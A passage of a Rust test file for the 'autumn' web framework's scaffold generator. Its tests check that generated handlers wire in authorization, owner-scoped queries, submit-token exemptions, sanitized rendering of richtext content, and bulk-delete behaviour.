"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
// edit / update / destroy carry an inline authorize call, and (issue
// #1312) bulk_delete authorizes each selected row before deleting it.
assert_eq!(
routes
.matches("autumn_web::authorization::authorize::<Post>")
.count(),
4,
"edit/update/destroy/bulk_delete must each authorize: {routes}"
);
assert!(routes.contains("\"edit\", &row"), "{routes}");
assert!(routes.contains("\"update\", ¤t"), "{routes}");
assert!(routes.contains("\"delete\", ¤t"), "{routes}");
// The HTML create handler runs the policy's `can_create` check before
// inserting, threading `State`/`Session` like the other mutations.
assert!(
routes
.contains("autumn_web::authorization::authorize_create::<Post>(&state, &session)"),
"create must authorize_create: {routes}"
);
assert!(routes.contains("pub async fn create("), "{routes}");
// Issue #1841: the standard owner-scoped index now applies the owner
// scope through the repository's owner-filtered `list_scoped` (which also
// brings allowlisted sort/filter), not a hand-rolled diesel query — and
// it must NEVER fall back to the unscoped `repo.list`/`repo.page`.
assert!(
routes.contains("repo.list_scoped(owner_id, &list_query, &page_req)"),
"index must scope through list_scoped: {routes}"
);
assert!(
!routes.contains("repo.list(&list_query") && !routes.contains("repo.page("),
"owner-scoped index must not call the unscoped list/page: {routes}"
);
assert!(
routes.contains("PolicyContext::from_request(&state, &session)"),
"{routes}"
);
// The cross-user 403 smoke test is emitted.
let smoke = action_contents(&plan, "tests/post.rs");
assert!(
smoke.contains("cross_user_mutations_are_forbidden"),
"{smoke}"
);
assert!(smoke.contains("ForbiddenResponse::Forbidden403"), "{smoke}");
}
#[test]
fn live_owner_scaffold_authorizes_mutating_handlers_and_scopes_index() {
// Issue #1830: `--live` variants now record-authorize their mutating
// handlers and owner-scope the index, loading the current row through the
// repository (not raw diesel) while keeping the SSE `<ul>` island.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "author_id:i64".into()],
"20260427000000",
&ScaffoldOptions {
live: true,
..Default::default()
},
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
// edit / update / destroy each carry an inline authorize call.
assert_eq!(
routes
.matches("autumn_web::authorization::authorize::<Post>")
.count(),
3,
"live edit/update/destroy must each authorize: {routes}"
);
assert!(routes.contains("\"edit\", &row"), "{routes}");
assert!(routes.contains("\"update\", ¤t"), "{routes}");
assert!(routes.contains("\"delete\", ¤t"), "{routes}");
// The row is loaded via the repository extractor, not raw diesel.
assert!(
routes.contains("let current: Post = repo.find_by_id(*id).await?"),
"live variant must load current row via the repository: {routes}"
);
assert!(
routes
.contains("autumn_web::authorization::authorize_create::<Post>(&state, &session)"),
"live create must authorize_create: {routes}"
);
// Index is owner-scoped but keeps the SSE list contract.
assert!(
routes.contains("posts::author_id.eq(owner_id)"),
"live index must filter by owner: {routes}"
);
assert!(
routes.contains("PolicyContext::from_request(&state, &session)"),
"{routes}"
);
assert!(
routes.contains("ul id=\"posts-list\"")
&& routes.contains("sse-connect=(paths::events())"),
"live owner index must keep the SSE ul island: {routes}"
);
}
#[test]
fn sharded_owner_scaffold_authorizes_mutating_handlers_and_scopes_index() {
// Issue #1830: `--sharded` variants record-authorize their mutating
// handlers and owner-scope the index, loading the current row through a
// `from_shard` repository and querying the pinned `ShardedDb` connection.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "author_id:i64".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
sharded: true,
..Default::default()
},
..Default::default()
},
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
assert_eq!(
routes
.matches("autumn_web::authorization::authorize::<Post>")
.count(),
3,
"sharded edit/update/destroy must each authorize: {routes}"
);
assert!(routes.contains("\"edit\", &row"), "{routes}");
assert!(routes.contains("\"update\", ¤t"), "{routes}");
assert!(routes.contains("\"delete\", ¤t"), "{routes}");
// The row is loaded via `from_shard(&db).find_by_id(...)`.
assert!(
routes.contains(
"let current: Post = PgPostRepository::from_shard(&db).find_by_id(*id).await?"
),
"sharded variant must load current row via from_shard: {routes}"
);
assert!(
routes
.contains("autumn_web::authorization::authorize_create::<Post>(&state, &session)"),
"sharded create must authorize_create: {routes}"
);
// Owner-scoped index runs on the ShardedDb connection (no bare `Db`).
assert!(
routes.contains("posts::author_id.eq(owner_id)"),
"sharded index must filter by owner: {routes}"
);
assert!(
routes.contains("mut db: ShardedDb") && !routes.contains("mut db: Db"),
"sharded handlers must use ShardedDb, not Db: {routes}"
);
}
#[test]
fn attachment_owner_scaffold_authorizes_reusing_state_wrapper() {
// Issue #1830: attachment scaffolds already thread a `state:` wrapper for
// the multipart upload, so the authorize wiring reuses it (`&*state`) and
// adds only `session` — no duplicate `State(state)` extractor.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"author_id:i64".into(),
"avatar:Attachment".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
// create/update deref the reused wrapper; edit/destroy take the full pair.
assert!(
routes
.contains("autumn_web::authorization::authorize_create::<Post>(&*state, &session)"),
"attachment create must authorize_create via &*state: {routes}"
);
assert!(
routes.contains(
"autumn_web::authorization::authorize::<Post>(&*state, &session, \"update\", ¤t)"
),
"attachment update must authorize via &*state: {routes}"
);
assert!(
routes.contains(
"autumn_web::authorization::authorize::<Post>(&state, &session, \"delete\", ¤t)"
),
"attachment destroy must authorize via &state: {routes}"
);
assert!(
routes.contains(
"autumn_web::authorization::authorize::<Post>(&state, &session, \"edit\", &row)"
),
"attachment edit must authorize via &state: {routes}"
);
// The create/update handlers must NOT gain a second `State(state)`
// extractor — the reused wrapper stays the sole `state` binding.
assert!(
!routes.contains(
"autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,\n body: Bytes"
) && !routes.contains(
"autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,\n mut multipart"
),
"attachment create/update must not inject a duplicate State extractor: {routes}"
);
// Owner-scoped index still emitted for the attachment path. Issue #1841:
// the standard Db owner index now scopes via the repository's
// owner-filtered `list_scoped` (with sort/filter) rather than a manual
// diesel query — and never falls back to the unscoped list/page.
assert!(
routes.contains("repo.list_scoped(owner_id, &list_query, &page_req)"),
"attachment index must scope through list_scoped: {routes}"
);
assert!(
routes.contains("PolicyContext::from_request(&state, &session)"),
"attachment index must resolve owner_id from the policy context: {routes}"
);
}
#[test]
fn no_policy_flag_reverts_to_secured_only() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
&ScaffoldOptions {
no_policy: true,
..Default::default()
},
)
.unwrap();
let paths = scaffold_paths(&plan);
assert!(
!paths.iter().any(|p| p.starts_with("src/policies/")),
"--no-policy must not emit a policies file: {paths:?}"
);
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(
!routes.contains("authorize::<Post>"),
"--no-policy must not wire authorize: {routes}"
);
assert!(
!routes.contains("authorize_create::<Post>"),
"--no-policy must not wire authorize_create: {routes}"
);
let main = action_contents(&plan, "src/main.rs");
assert!(
!main.contains(".policy::<"),
"--no-policy must not register a policy: {main}"
);
}
#[test]
fn no_owner_scaffold_authorizes_via_authenticated_policy_without_scoping_index() {
// Issue #1830: no-owner scaffolds now record-authorize their mutating
// handlers too (routing the mutation through the enforceable policy), and
// the generated no-owner policy authorizes any authenticated user — so a
// fresh scaffold never 403s out of the box. There is no owner column, so
// the index is NOT owner-scoped.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
)
.unwrap();
// Policy generated (authenticated check + SECURITY TODO) and registered.
let policy = action_contents(&plan, "src/policies/post.rs");
assert!(
policy.contains("// SECURITY TODO: this only checks authentication"),
"{policy}"
);
assert!(
policy.contains("Box::pin(async move { ctx.is_authenticated() })"),
"no-owner can_update/can_delete must authenticate-check: {policy}"
);
let main = action_contents(&plan, "src/main.rs");
assert!(
main.contains(".policy::<crate::models::post::Post, _>"),
"{main}"
);
// Mutating handlers are now inline-authorized (edit/update/destroy) and
// create runs authorize_create — routed through the enforceable policy.
let routes = action_contents(&plan, "src/routes/posts.rs");
assert_eq!(
routes
.matches("autumn_web::authorization::authorize::<Post>")
.count(),
4,
"no-owner edit/update/destroy/bulk_delete must each authorize: {routes}"
);
assert!(
routes
.contains("autumn_web::authorization::authorize_create::<Post>(&state, &session)"),
"no-owner create must authorize_create: {routes}"
);
// But the index is NOT owner-scoped (no owner column to filter on).
assert!(
!routes.contains(".eq(owner_id)"),
"no-owner index must not be owner-scoped: {routes}"
);
assert!(
!routes.contains("PolicyContext::from_request(&state, &session)"),
"no-owner index must not build a PolicyContext for owner filtering: {routes}"
);
}
#[test]
fn api_scaffold_never_generates_policy() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
let paths = scaffold_paths(&plan);
assert!(
!paths.iter().any(|p| p.starts_with("src/policies/")),
"--api must not emit a policy: {paths:?}"
);
}
#[test]
fn policy_registration_survives_scaffold_destroy_round_trip() {
let tmp = project_with_main(default_main());
let main_path = tmp.path().join("src/main.rs");
let original_main = fs::read_to_string(&main_path).unwrap();
plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
)
.unwrap()
.execute(Flags::default())
.unwrap();
assert!(tmp.path().join("src/policies/post.rs").exists());
assert!(
fs::read_to_string(&main_path)
.unwrap()
.contains(".policy::<")
);
plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
)
.unwrap()
.revert(Flags::default())
.unwrap();
assert!(!tmp.path().join("src/policies/post.rs").exists());
assert!(!tmp.path().join("src/policies").exists());
assert_eq!(fs::read_to_string(&main_path).unwrap(), original_main);
}
// ── submit-token live-validation exempt_paths (issue #1360) ──────────────
#[test]
fn submit_token_exempt_appends_fresh_block_when_absent() {
let existing = "[server]\nport = 3000\n";
let out = append_submit_token_exempt_to_toml(existing, "posts", "validate")
.expect("absent exemption must be inserted");
assert!(out.contains("[security.submit_token]"), "{out}");
assert!(
out.contains("exempt_paths = [\"/posts/validate\"]"),
"{out}"
);
// The original content is preserved.
assert!(out.contains("[server]"), "{out}");
}
#[test]
fn submit_token_exempt_is_idempotent() {
let existing = "[security.submit_token]\nexempt_paths = [\"/posts/validate\"]\n";
let out = append_submit_token_exempt_to_toml(existing, "posts", "validate");
assert_eq!(
out, None,
"re-adding the same prefix must be a no-op returning None"
);
}
#[test]
fn submit_token_exempt_merges_into_existing_array() {
let existing =
"[security.submit_token]\nttl_secs = 900\nexempt_paths = [\"/webhooks/x\"]\n";
let out = append_submit_token_exempt_to_toml(existing, "posts", "validate")
.expect("a new prefix must be merged into the existing array");
assert!(out.contains("\"/webhooks/x\""), "{out}");
assert!(out.contains("\"/posts/validate\""), "{out}");
assert!(out.contains("ttl_secs = 900"), "{out}");
// No duplicate exempt_paths key.
assert_eq!(out.matches("exempt_paths").count(), 1, "{out}");
}
#[test]
fn submit_token_exempt_merges_into_commented_multiline_array() {
// A hand-edited, multiline `exempt_paths` array with item comments must
// merge into VALID TOML: the format-preserving edit inserts the new path
// as a real array element before the closing bracket, never splicing it
// after a `#` comment (which would produce e.g.
// `[..., # api, "/posts/validate"]` — invalid TOML that corrupts the
// config).
let existing = "\
[security.submit_token]
exempt_paths = [
\"/api\", # public api, never guarded
\"/webhooks/x\",
]
";
let out = append_submit_token_exempt_to_toml(existing, "posts", "validate")
.expect("a new prefix must be merged into the commented array");
// The merged output is valid TOML.
let parsed: toml::Value =
toml::from_str(&out).unwrap_or_else(|e| panic!("merged TOML must parse: {e}\n{out}"));
// Both preexisting entries and the new prefix are present.
let paths = parsed["security"]["submit_token"]["exempt_paths"]
.as_array()
.expect("exempt_paths must be an array");
let values: Vec<&str> = paths.iter().filter_map(toml::Value::as_str).collect();
assert!(values.contains(&"/api"), "{out}");
assert!(values.contains(&"/webhooks/x"), "{out}");
assert!(values.contains(&"/posts/validate"), "{out}");
// The item comment survives the edit.
assert!(out.contains("# public api, never guarded"), "{out}");
// No duplicate exempt_paths key.
assert_eq!(out.matches("exempt_paths").count(), 1, "{out}");
}
#[test]
fn submit_token_exempt_inserts_key_when_block_lacks_it() {
let existing = "[security.submit_token]\nttl_secs = 900\n";
let out = append_submit_token_exempt_to_toml(existing, "posts", "validate")
.expect("a block lacking the key must gain one");
assert!(
out.contains("exempt_paths = [\"/posts/validate\"]"),
"{out}"
);
assert!(out.contains("ttl_secs = 900"), "{out}");
}
#[test]
fn submit_token_exempt_prefix_covers_only_validation_routes() {
// Field-name-agnostic: the exemption is a route prefix, independent of
// `security.submit_token.field_name`. It must cover the per-field
// validation routes but never the guarded create route.
assert_eq!(
submit_token_exempt_prefix("posts", "validate"),
"/posts/validate"
);
}
#[test]
fn remove_submit_token_exempt_drops_fresh_block() {
let existing = "[server]\nport = 3000\n";
let added = append_submit_token_exempt_to_toml(existing, "posts", "validate")
.expect("fresh block must be added");
let removed = remove_submit_token_exempt_from_toml(&added, "posts", "validate");
assert!(!removed.contains("/posts/validate"), "{removed}");
assert!(!removed.contains("[security.submit_token]"), "{removed}");
assert!(removed.contains("[server]"), "{removed}");
}
#[test]
fn remove_submit_token_exempt_keeps_other_entries() {
let existing =
"[security.submit_token]\nexempt_paths = [\"/webhooks/x\", \"/posts/validate\"]\n";
let removed = remove_submit_token_exempt_from_toml(existing, "posts", "validate");
assert!(removed.contains("\"/webhooks/x\""), "{removed}");
assert!(!removed.contains("/posts/validate"), "{removed}");
assert!(removed.contains("[security.submit_token]"), "{removed}");
}
#[test]
fn remove_submit_token_exempt_ignores_hand_edited_value() {
// Never touch an array that no longer carries our exact prefix.
let existing = "[security.submit_token]\nexempt_paths = [\"/custom/only\"]\n";
let removed = remove_submit_token_exempt_from_toml(existing, "posts", "validate");
assert_eq!(removed, existing);
}
#[test]
fn live_validation_scaffold_exempts_validation_routes_in_autumn_toml() {
// End-to-end at plan level: a `--live-validation` scaffold with a
// CUSTOM submit-token field name still exempts the generated
// `/posts/validate/*` routes, because the exemption is route-based
// (field-name-agnostic) rather than relying on the `hx-params` filter,
// which only strips the default `_submit_token` name.
let tmp = project_with_main(default_main());
// A customised field name in autumn.toml — the exemption must not depend
// on it.
fs::write(
tmp.path().join("autumn.toml"),
"[security.submit_token]\nfield_name = \"_confirm\"\n",
)
.unwrap();
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260712000000",
&ScaffoldOptions {
live_validation: true,
..Default::default()
},
)
.unwrap();
let toml_action = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path.ends_with("autumn.toml") => {
Some(contents.clone())
}
_ => None,
})
.expect("live-validation scaffold must modify autumn.toml");
assert!(
toml_action.contains("\"/posts/validate\""),
"autumn.toml must exempt the validation route prefix:\n{toml_action}"
);
// The custom field name is left untouched.
assert!(
toml_action.contains("field_name = \"_confirm\""),
"{toml_action}"
);
}
#[test]
fn non_live_validation_scaffold_does_not_touch_autumn_toml_exempt() {
let tmp = project_with_main(default_main());
fs::write(tmp.path().join("autumn.toml"), "[server]\nport = 3000\n").unwrap();
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260712000000",
)
.unwrap();
let touches_toml = plan
.actions
.iter()
.any(|a| a.path().ends_with("autumn.toml"));
assert!(
!touches_toml,
"a plain scaffold (no --live-validation) must not add submit-token exemptions"
);
}
// ── richtext scaffolding (issue #1255) ─────────────────────────────────
/// Plan `autumn generate scaffold Post title:String body:richtext` against
/// a fresh project — the exact command the issue's success metric names.
fn richtext_scaffold_plan(tmp: &TempDir) -> Plan {
plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "body:richtext".into()],
"20260731000000",
)
.unwrap()
}
#[test]
fn richtext_scaffold_form_uses_the_markdown_editor_widget() {
let tmp = project_with_main(default_main());
let plan = richtext_scaffold_plan(&tmp);
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(
routes.contains("rich_text_area"),
"the form must render the Markdown editor, not a bare textarea:\n{routes}"
);
// The non-richtext column keeps its ordinary control.
assert!(routes.contains("\"title\""), "{routes}");
}
#[test]
fn richtext_scaffold_show_view_renders_through_the_sanitizer() {
let tmp = project_with_main(default_main());
let plan = richtext_scaffold_plan(&tmp);
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(
routes.contains("autumn_web::markdown::render_user_content(&row.body)"),
"the show view must render the stored Markdown through the sanitizing \
helper:\n{routes}"
);
// …and never through the trusted-content renderer or a raw passthrough.
assert!(
!routes.contains("markdown::render(&row.body)"),
"the trusted-content renderer must never see user input:\n{routes}"
);
assert!(
!routes.contains("PreEscaped(&row.body)"),
"the raw source must never be emitted pre-escaped:\n{routes}"
);
}
#[test]
fn richtext_scaffold_index_view_shows_escaped_source_not_markup() {
let tmp = project_with_main(default_main());
let plan = richtext_scaffold_plan(&tmp);
let routes = action_contents(&plan, "src/routes/posts.rs");
// The index column renders the raw source through maud's escaping
// `Render` impl — a table cell must not carry block-level markup, and
// escaped text is inherently safe.
// `let mut columns:` since issue #1312 prepends the bulk-select column.
let columns = routes
.split_once("columns: Vec<")
.expect("index columns block")
.1;
let columns = columns.split_once("];").unwrap().0;
assert!(
!columns.contains("render_user_content"),
"index cells render the source as escaped text, not HTML:\n{columns}"
);
}
#[test]
fn richtext_scaffold_generates_a_preview_route() {
let tmp = project_with_main(default_main());
let plan = richtext_scaffold_plan(&tmp);
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(
routes.contains("#[post(\"/posts/preview/body\")]"),
"a richtext column needs a preview endpoint for the htmx live \
preview:\n{routes}"
);
assert!(routes.contains("pub async fn preview_body("), "{routes}");
// The preview handler renders through the same sanitizer.
let handler = routes
.split_once("pub async fn preview_body(")
.unwrap()
.1
.split_once("\n}\n")
.unwrap()
.0;
assert!(
handler.contains("render_user_content"),
"the preview must be sanitized exactly like the show view:\n{handler}"
);
// The typed path helper is exported so the form can link to it.
assert!(routes.contains("preview_body"), "{routes}");
}
#[test]
fn non_nullable_richtext_gets_a_required_signal() {
// PR #2157 review: every other non-nullable generated control carries
// `required`/`aria-required`. A `body:richtext` column had neither, and
// since `String` and `TEXT NOT NULL` both accept `""`, an empty editor
// persisted a blank body.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["body:richtext".into(), "note:Option<richtext>".into()],
"20260731000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(
routes.contains("required_rich_text_area_htmx_with_token_field(changeset, \"body\""),
"a non-nullable richtext column needs the required variant:\n{routes}"
);
assert!(
routes.contains("rich_text_area_htmx_with_token_field(changeset, \"note\""),
"a nullable richtext column keeps the optional variant:\n{routes}"
);
assert!(
!routes.contains("required_rich_text_area_htmx_with_token_field(changeset, \"note\""),
"leaving a nullable column blank is valid — no required signal:\n{routes}"
);
}
#[test]
fn richtext_preview_does_not_depend_on_the_rest_of_the_form_decoding() {
// PR #2157 review: the preview `hx-include`s the whole form, so on a
// fresh "new" page every other field is still blank. Decoding the whole
// form struct to reach the one previewed field would fail on the first
// strictly-typed empty column (`count=` into an `i64`) and blank the
// preview until every unrelated field was filled in.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["body:richtext".into(), "count:i64".into()],
"20260731000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
let handler = routes
.split_once("pub async fn preview_body(")
.expect("preview handler")
.1
.split_once("\n}\n")
.unwrap()
.0;
assert!(
handler.contains("field_from_urlencoded"),
"the preview must read its one field leniently:\n{handler}"
);
assert!(
!handler.contains("decode_form"),
"whole-form decode couples the preview to every other field's \
validity:\n{handler}"
);
assert!(
handler.contains("render_user_content"),
"the preview must still be sanitized:\n{handler}"
);
}
#[test]
fn richtext_scaffold_enables_the_markdown_feature() {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname = \"x\"\n\n[dependencies]\nautumn-web = \"0.6.0\"\n",
)
.unwrap();
let plan = richtext_scaffold_plan(&tmp);
let cargo = action_contents(&plan, "Cargo.toml");
assert!(
cargo.contains("markdown"),
"a richtext scaffold must enable autumn-web's `markdown` feature so \
`render_user_content` resolves:\n{cargo}"
);
}
#[test]
fn richtext_scaffold_exempts_the_preview_route_from_the_submit_token() {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("autumn.toml"),
"[security.submit_token]\nfield_name = \"_confirm\"\n",
)
.unwrap();
let plan = richtext_scaffold_plan(&tmp);
let toml = action_contents(&plan, "autumn.toml");
assert!(
toml.contains("/posts/preview"),
"the preview POST hx-includes the whole form, so it must not spend \
the one-time submit token under a custom field name:\n{toml}"
);
assert!(
plan.reverts.iter().any(|r| matches!(
r,
Revert::SubmitTokenValidateExempt { segment, .. } if segment == "preview"
)),
"the inserted preview exemption must be reverted on destroy"
);
}
#[test]
fn defaulted_richtext_column_mounts_no_preview_route() {
// A `--default`ed column is dropped from the form, so the routes module
// emits no `preview_{field}` handler for it. Mounting one anyway in
// `main.rs` fails the generated app to compile with `cannot find value
// preview_body in module routes::posts`.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:richtext".into()],
"20260731000000",
&ScaffoldOptions {
model: ModelOptions {
defaults: vec!["body=hi".to_owned()],
..Default::default()
},
..Default::default()
},
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
let main_rs = action_contents(&plan, "src/main.rs");
assert_eq!(
routes.contains("pub async fn preview_body("),
main_rs.contains("routes::posts::preview_body"),
"the mounted route set must match the handlers actually emitted\n\
routes:\n{routes}\nmain:\n{main_rs}"
);
// The show view still displays the column, so the feature is still needed.
assert!(
routes.contains("render_user_content(&row.body)"),
"a defaulted richtext column still renders on the detail page:\n{routes}"
);
}
#[test]
fn api_richtext_scaffold_skips_the_html_only_wiring() {
// `--api` renders no form and no show view, so a richtext column is
// just a TEXT column carrying Markdown source out over JSON. Pulling in
// the `markdown` feature (and exempting a preview route that is never
// generated) would be dead weight.
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname = \"x\"\n\n[dependencies]\nautumn-web = \"0.6.0\"\n",
)
.unwrap();
fs::write(
tmp.path().join("autumn.toml"),
"[security.submit_token]\nfield_name = \"_confirm\"\n",
)
.unwrap();
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:richtext".into()],
"20260731000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
let cargo = action_contents(&plan, "Cargo.toml");
assert!(
!cargo.contains("\"markdown\""),
"--api has no view that renders Markdown:\n{cargo}"
);
let toml = action_contents(&plan, "autumn.toml");
assert!(
!toml.contains("/posts/preview"),
"--api generates no preview route to exempt:\n{toml}"
);
}
#[test]
fn non_richtext_scaffold_stays_untouched_by_the_richtext_wiring() {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname = \"x\"\n\n[dependencies]\nautumn-web = \"0.6.0\"\n",
)
.unwrap();
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260731000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(!routes.contains("rich_text_area"), "{routes}");
assert!(!routes.contains("render_user_content"), "{routes}");
assert!(!routes.contains("/posts/preview"), "{routes}");
let cargo = action_contents(&plan, "Cargo.toml");
assert!(
!cargo.contains("markdown"),
"a scaffold with no richtext column must not pull in the markdown \
feature:\n{cargo}"
);
}
#[test]
fn live_validation_scaffold_records_revert_only_when_exemption_inserted() {
// Absent exemption: the scaffold both modifies autumn.toml AND records a
// `SubmitTokenValidateExempt` revert so `autumn destroy` cleans up the
// entry it added.
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("autumn.toml"),
"[security.submit_token]\nfield_name = \"_confirm\"\n",
)
.unwrap();
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260712000000",
&ScaffoldOptions {
live_validation: true,
..Default::default()
},
)
.unwrap();
let touches_toml = plan
.actions
.iter()
.any(|a| a.path().ends_with("autumn.toml"));
assert!(
touches_toml,
"an absent exemption must be inserted via a modify action"
);
let has_revert = plan.reverts.iter().any(|r| {
matches!(
r,
Revert::SubmitTokenValidateExempt { plural, .. } if plural == "posts"
)
});
assert!(
has_revert,
"inserting the exemption must record a SubmitTokenValidateExempt revert"
);
}
#[test]
fn live_validation_scaffold_skips_revert_when_exemption_preexists() {
// The exemption is ALREADY present (e.g. a user hand-added it, possibly
// with a custom field name). The scaffold must NOT modify autumn.toml and
// must NOT record a revert — otherwise a later `autumn destroy` would
// delete a user-owned entry, re-enabling submit-token guarding on the
// live-validation routes.
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("autumn.toml"),
"[security.submit_token]\nfield_name = \"_confirm\"\nexempt_paths = [\"/posts/validate\"]\n",
)
.unwrap();
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260712000000",
&ScaffoldOptions {
live_validation: true,
..Default::default()
},
)
.unwrap();
let touches_toml = plan
.actions
.iter()
.any(|a| a.path().ends_with("autumn.toml"));
assert!(
!touches_toml,
"a preexisting exemption must not be re-modified"
);
let has_revert = plan
.reverts
.iter()
.any(|r| matches!(r, Revert::SubmitTokenValidateExempt { .. }));
assert!(
!has_revert,
"a preexisting, user-owned exemption must not be claimed via a revert"
);
}
// ── bulk-select + delete-selected (issue #1312) ────────────────────────
/// The default `Post` field set used by the bulk-delete tests.
fn bulk_fields() -> Vec<String> {
vec![
"title:String".to_owned(),
"body:Text".to_owned(),
"published:bool".to_owned(),
]
}
/// Plan a `Post` scaffold with `options` and return its routes file source.
fn bulk_routes(options: &ScaffoldOptions) -> String {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&bulk_fields(),
"20260427000000",
options,
)
.unwrap();
action_contents(&plan, "src/routes/posts.rs")
}
/// The default (non-live, non-sharded) `Post` scaffold's routes source.
fn bulk_routes_default() -> String {
bulk_routes(&ScaffoldOptions::default())
}
/// Slice out the body of a named `pub async fn` handler in a routes file:
/// everything from its signature up to the next top-level `pub async fn`.
fn handler_slice<'a>(routes: &'a str, name: &str) -> &'a str {
let needle = format!("pub async fn {name}(");
let start = routes.find(&needle).unwrap_or_else(|| {
panic!("routes file must emit `{needle}`:\n{routes}");
});
let rest = &routes[start + needle.len()..];
rest.split("pub async fn ").next().unwrap_or(rest)
}
#[test]
fn index_wraps_list_in_bulk_delete_form() {
let routes = bulk_routes_default();
assert!(routes.contains("bulk_actions_form("), "{routes}");
assert!(routes.contains("paths::bulk_delete()"), "{routes}");
let index = handler_slice(&routes, "index");
let form_at = index
.find("bulk_actions_form(")
.unwrap_or_else(|| panic!("index must wrap its list in the bulk form:\n{index}"));
let table_at = index
.find("data_table(")
.unwrap_or_else(|| panic!("index must still render the data_table:\n{index}"));
assert!(
form_at < table_at,
"the bulk form must wrap the data_table, not follow it:\n{index}"
);
}
#[test]
fn index_prepends_bulk_select_checkbox_column() {
let routes = bulk_routes_default();
let index = handler_slice(&routes, "index");
assert!(index.contains("columns.insert(0,"), "{index}");
assert!(index.contains("bulk_select_checkbox("), "{index}");
}
#[test]
fn index_handler_takes_csrf_for_bulk_form() {
let routes = bulk_routes_default();
let index = handler_slice(&routes, "index");
assert!(index.contains("csrf: Option<CsrfToken>"), "{index}");
assert!(
index.contains("csrf_field: Option<CsrfFormField>"),
"{index}"
);
}
#[test]
fn bulk_delete_handler_is_secured_and_routed() {
let routes = bulk_routes_default();
assert!(
routes.contains("#[secured]\n#[post(\"/posts/bulk_delete\")]"),
"the bulk delete route must be #[secured]: {routes}"
);
assert!(routes.contains("pub async fn bulk_delete("), "{routes}");
}
#[test]
fn bulk_delete_body_extractor_is_last() {
let routes = bulk_routes_default();
let bulk = handler_slice(&routes, "bulk_delete");
// Parameter list: everything up to the closing `)` of the signature.
let Some((params, _)) = bulk.split_once("\n)") else {
panic!("bulk_delete must have a parameter list:\n{bulk}");
};
assert!(params.contains("flash: Flash,"), "{params}");
let last = params
.lines()
.map(str::trim)
.rfind(|l| !l.is_empty())
.unwrap_or_else(|| panic!("bulk_delete must take parameters:\n{params}"));
// axum requires the body-consuming extractor to be the final argument.
assert!(
last.starts_with("body:") && last.contains("Bytes"),
"the Bytes body extractor must be the last parameter, got `{last}`:\n{params}"
);
}
#[test]
fn bulk_delete_calls_delete_many() {
let routes = bulk_routes_default();
let bulk = handler_slice(&routes, "bulk_delete");
assert!(bulk.contains(".delete_many(&"), "{bulk}");
assert!(
!bulk.contains("diesel::delete"),
"bulk delete must route through the repository, not a raw diesel::delete: {bulk}"
);
assert!(
!bulk.contains("deleted_at.eq("),
"bulk delete must not hand-roll the soft-delete update: {bulk}"
);
}
/// The handler must not hold the extracted `Db` across `delete_many`,
/// which checks out a *second* connection from the same primary pool.
/// Holding both stalls every bulk delete on a pool of one and deadlocks
/// larger pools once enough requests are in the handler together.
#[test]
fn bulk_delete_releases_db_before_delete_many() {
let owner_scoped = {
// An owner column (`user_id`) turns on the policy/authorize wiring,
// which adds work between the load and the delete.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
)
.unwrap();
